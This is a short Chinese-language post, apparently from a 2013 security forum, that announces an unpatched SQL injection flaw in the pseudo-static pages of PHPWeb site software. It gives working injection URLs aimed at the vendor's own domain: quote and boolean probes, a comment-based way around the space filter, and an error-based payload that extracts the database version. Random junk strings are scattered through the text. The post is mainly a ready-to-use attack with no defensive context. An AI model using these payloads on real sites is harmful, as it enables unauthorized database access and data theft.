phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入
, B2 G! w8 p7 ^# f$ p
3 _* M4 h$ G2 d) I& q6 h* S主站：http://phpweb.net/
- h; w0 _" [7 ^6 i( L1 e7 U加’检测：

http://www.phpweb.net/down/html/?772′.html

出错
- e5 k' L2 d) u2 W+ H, z存在注入。
不能用空格，只能用/*罗
http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常

http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
爆数据库版本：
1 {9 f" S8 O8 w% ~' F3 _
& r- [$ \5 Q; u" k& V! c1 h3 a?
1
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
更新日期: 2013-01-03 13:39:50        
% c4 Z* |% S7 g% @, X